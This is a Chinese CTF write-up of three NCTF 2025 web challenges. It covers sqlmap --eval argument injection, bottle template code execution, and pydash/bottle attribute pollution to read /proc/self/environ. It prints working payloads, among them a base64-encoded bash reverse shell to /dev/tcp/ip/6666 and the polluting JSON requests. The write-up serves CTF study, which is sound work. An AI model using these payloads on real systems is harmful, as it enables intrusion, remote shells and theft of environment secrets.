当前位置: 首页 > news >正文

2025NCTF--Web

文章目录

    • Web
      • sqlmap-master
      • ez_dash
      • ez_dash_revenge

Web

sqlmap-master

源码

from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocess

app = FastAPI()

@app.get("/")
async def index():
    return FileResponse("index.html")

@app.post("/run")
async def run(request: Request):
    data = await request.json()
    url = data.get("url")
    
    if not url:
        return {"error": "URL is required"}
    
    command = f'sqlmap -u {url} --batch --flush-session'

    def generate():
        process = subprocess.Popen(
            command.split(),
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            shell=False
        )
        
        while True:
            output = process.stdout.readline()
            if output == '' and process.poll() is not None:
                break
            if output:
                yield output
    
    return StreamingResponse(generate(), media_type="text/plain")

sqlmap存在一个eval的参数, 可以在每个请求期间运行自定义的 Python 代码

在这里插入图片描述

但是因为代码中会以空格分割, 所以 "import os;os.system('env')" 这种无法使用, 使用__import__动态导入执行

http://127.0.0.1 --eval __import__('os').system('env')

在这里插入图片描述

ez_dash

给了源码

'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
               '__code__', '__defaults__', '__delattr__', '__dict__',
               '__dir__', '__doc__', '__eq__', '__format__',
               '__ge__', '__get__', '__getattribute__',
               '__gt__', '__hash__', '__init__', '__init_subclass__',
               '__kwdefaults__', '__le__', '__lt__', '__module__',
               '__name__', '__ne__', '__new__', '__qualname__',
               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
               "Optional","func","render",
               ]
__forbidden_name__=[
    "bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    for word in __forbidden_name__:
        if name==word:
            return False
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    obj=globals()[name]
    try:
        pydash.set_(obj,path,value)
    except:
        return False
    return True

@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path=bottle.request.json.get('path')
    if not isinstance(path,str):
        return "no"
    if len(name)>6 or len(path)>32:
        return "no"
    value=bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
        return "Hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

直接看/render路由, 过滤了 { } ., 但是bottle渲染模板时不仅仅可以使用{{}}执行代码, 还可以使用 <% 进行执行代码

因为题目没有回显, 所以直接反弹shell就行

<% from os import system
   from base64 import b64decode
    system(b64decode('YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC9pcC82NjY2IDA+JjEi'))

在这里插入图片描述

ez_dash_revenge

因为前一道题的非预期, 这道题把 <%的做法给禁了

'''
Hints: Flag在环境变量中
'''
from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
               '__code__', '__defaults__', '__delattr__', '__dict__',
               '__dir__', '__doc__', '__eq__', '__format__',
               '__ge__', '__get__', '__getattribute__',
               '__gt__', '__hash__', '__init__', '__init_subclass__',
               '__kwdefaults__', '__le__', '__lt__', '__module__',
               '__name__', '__ne__', '__new__', '__qualname__',
               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
               "Optional","render"
               ]
__forbidden_name__=[
    "bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"])) #所有的内置函数以及bottle

def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    for word in __forbidden_name__:
        if name==word:
            return False
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    obj=globals()[name]
    try:
        pydash.set_(obj,path,value)
    except:
        return False
    return True

@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path=bottle.request.json.get('path')
    if not isinstance(path,str):
        return "no"
    if len(name)>6 or len(path)>32:
        return "no"
    value=bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if len(path)>10:
        return "hacker"
    blacklist=["{","}",".","%","<",">","_"] 
    for c in path:
        if c in blacklist:
            return "hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

先本地搭建调试一下

/render路由给path参数随便传入一个值, 一开始进入到这个函数

template

def template(*args, **kwargs):
    """
    Get a rendered template as a string iterator.
    You can use a name, a filename or a template string as first parameter.
    Template rendering arguments can be passed as dictionaries
    or directly (as keyword arguments).
    """
    tpl = args[0] if args else None
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    tplid = (id(lookup), tpl)
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

这个函数用于获取一个渲染后的模板, 并返回一个字符串迭代器

有三种方法获得模板

  1. 模板对象, SimpleTemplate的实例
  2. 模板字符串: \n, { , %, $
  3. 模板文件名

这里能用的就是第三种, 传入一个 模板文件名 ,

lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
TEMPLATE_PATH = ['./', './views/']

传入的模板文件名是在lookup 目录中查找文件并加载, 而lookup默认是在当前目录或子目录views

如果可以控制TEMPLATE_PATH/proc/self目录, 那么就可以读取environ环境变量文件了

接着进入到BaseTemplate

class BaseTemplate(object):
    """ Base class and minimal API for template adapters """
    extensions = ['tpl', 'html', 'thtml', 'stpl']
    settings = {}  #used in prepare()
    defaults = {}  #used in render()

    def __init__(self,
                 source=None,
                 name=None,
                 lookup=None,
                 encoding='utf8', **settings):
        """ Create a new template.
        If the source parameter (str or buffer) is missing, the name argument
        is used to guess a template filename. Subclasses can assume that
        self.source and/or self.filename are set. Both are strings.
        The lookup, encoding and settings parameters are stored as instance
        variables.
        The lookup parameter stores a list containing directory paths.
        The encoding parameter should be used to decode byte strings or files.
        The settings parameter contains a dict for engine-specific settings.
        """
        self.name = name
        self.source = source.read() if hasattr(source, 'read') else source
        self.filename = source.filename if hasattr(source, 'filename') else None
        self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
        self.encoding = encoding
        self.settings = self.settings.copy()  # Copy from class variable
        self.settings.update(settings)  # Apply
        if not self.source and self.name:
            self.filename = self.search(self.name, self.lookup)
            if not self.filename:
                raise TemplateError('Template %s not found.' % repr(name))
        if not self.source and not self.filename:
            raise TemplateError('No template specified.')
        self.prepare(**self.settings)

    @classmethod
    def search(cls, name, lookup=None):
        """ Search name in all directories specified in lookup.
        First without, then with common extensions. Return first hit. """
        if not lookup:
            raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")

        if os.path.isabs(name):
            raise depr(0, 12, "Use of absolute path for template name.",
                       "Refer to templates with names or paths relative to the lookup path.")

        for spath in lookup:
            spath = os.path.abspath(spath) + os.sep
            fname = os.path.abspath(os.path.join(spath, name))
            if not fname.startswith(spath): continue
            if os.path.isfile(fname): return fname
            for ext in cls.extensions:
                if os.path.isfile('%s.%s' % (fname, ext)):
                    return '%s.%s' % (fname, ext)

看到search函数里面

fname = os.path.abspath(os.path.join(spath, name)) #转化为绝对路径
if not fname.startswith(spath): continue

阻止了通过 ../../来绕过lookup目录的可能性

所以需要想办法去修改TEMPLATE_PATH的值, 从而实现任意文件读取

在这里插入图片描述

看到setval函数: 可以动态修改全局变量中的对象属性

def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False #拦截双下滑线__, python的魔法变量
    for word in __forbidden_name__:
        if name==word:
            return False
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    obj=globals()[name]
    try:
        pydash.set_(obj,path,value)
    except:
        return False
    return True

尝试进行传参修改bottle.TEMPLATE_PATH的属性值, 会发现直接返回了no, 无法成功的污染

/setValue?name=setval

{"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../proc/self"]}

调试一下会发现走到这一步, 存在这样的代码 , 不允许key里面存在__globals__,代码不允许修改__globals__属性

def base_set(obj, key, value, allow_override=True):
    """
    Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next available
    index position, append to list; otherwise, pad the list of ``None`` and then append to the list.

    Args:
        obj: Object to assign value to.
        key: Key or index to assign to.
        value: Value to assign.
        allow_override: Whether to allow overriding a previously set key.
    """
    if isinstance(obj, dict):
        if allow_override or key not in obj:
            obj[key] = value
    elif isinstance(obj, list):
        key = int(key)

        if key < len(obj):
            if allow_override:
                obj[key] = value
        else:
            if key > len(obj):
                # Pad list object with None values up to the index key, so we can append the value
                # into the key index.
                obj[:] = (obj + [None] * key)[:key]
            obj.append(value)
    elif (allow_override or not hasattr(obj, key)) and obj is not None:
        _raise_if_restricted_key(key)
        setattr(obj, key, value)

    return obj
def _raise_if_restricted_key(key):
    # Prevent access to restricted keys for security reasons.
    if key in RESTRICTED_KEYS:
        raise KeyError(f"access to restricted key {key!r} is not allowed")
#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")

在这里插入图片描述

所以还需要污染RESTRICTED_KEYS的值

/setValue?name=pydash

{"path":"helpers.RESTRICTED_KEYS","value":[]}

在这里插入图片描述

为什么要写成helpers.RESTRICTED_KEYS这样的形式, 可以打印一下

RESTRICTED_KEYS 位于helpers.py文件中

在这里插入图片描述

然后再污染TEMPLATE_PATH的值

?name=setval 

{"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../proc/self"]}

在这里插入图片描述

直接访问?path=environ就可以看到文件内容了, 本地执行成功

在这里插入图片描述

按照上面的步骤在靶场环境打一遍就可以拿到flag了

在这里插入图片描述

相关文章:

  • 智慧电力:点亮未来能源世界的钥匙
  • 《Linux运维实战:Ubuntu 22.04配置pam实现密码复杂度策略》
  • 【计算机网络】OSI七层模型完全指南:从比特流到应用交互的逐层拆解
  • Java基础关键_031_反射(一)
  • WebRTC C++开发入门
  • 2007-2019年各省地方财政教育支出数据
  • AI 对话艺术:Prompt 设计技巧与案例解析
  • DriveDreamer动力学模块和博弈论优化器
  • 蓝桥杯备考:BFS之马的遍历
  • <AI>dify本地部署
  • 基于音频驱动的CATIA动态曲面生成技术解析
  • 【服务器操作指南 - GPU 使用与文件传输】轻松掌握 GPU 状态查看和服务器文件传输技巧
  • NVIDIA「官方外挂」发布!RTX 5060没发售就淘汰了
  • Github Webhook 以及主动式
  • 《Java编程思想》读书笔记:第八章 多态
  • 运维规则之总结(Summary of Operation and Maintenance Rules)
  • 感觉自己的理解能力差,如何提升呢?
  • 单端信号差分信号
  • DeepSeek V3-0324 发布:编程能力再攀高峰,挑战 Claude 3.7 Sonnet
  • CSS学习笔记6——网页布局
  • 当文徵明“相遇”莫奈:苏博将展“从拙政园到莫奈花园”
  • 上海国际电影电视节 | 奔赴电影之城,开启光影新程
  • 英伟达推出新技术加速AI芯片连接,期望构建互联互通生态
  • 交通运输局男子与两名女子办婚礼?官方通报:未登记结婚,开除该男子
  • 多所院校高规格召开考研动员会,有学院考研报名率达84%
  • 聚焦智能浪潮下的创业突围,“青年草坪创新创业湃对”走进北杨人工智能小镇